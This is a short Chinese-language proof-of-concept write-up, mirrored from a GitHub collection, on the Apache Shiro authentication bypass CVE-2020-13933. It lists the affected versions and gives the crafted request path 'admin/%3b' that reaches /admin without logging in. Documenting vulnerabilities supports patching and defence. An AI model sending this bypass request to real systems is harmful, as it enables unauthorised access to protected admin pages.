mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
25 lines
561 B
Markdown
25 lines
561 B
Markdown
# Apache Shiro 1.6.0 身份认证绕过漏洞 CVE-2020-13933
|
||
|
||
## 漏洞描述
|
||
|
||
2020年8月18日，Apache Shiro官方发布安全通告 Apache Shiro身份验证绕过漏洞（CVE-2020-13933），经过分析，攻击者可以通过构造特殊的HTTP请求实现身份验证绕过。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
Apache Shiro < 1.6.0
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
正常访问 /admin，需要登录：
|
||
|
||
|
||
|
||
构造恶意请求绕过：
|
||
|
||
```
|
||
admin/%3b
|
||
```
|
||
|
||
 |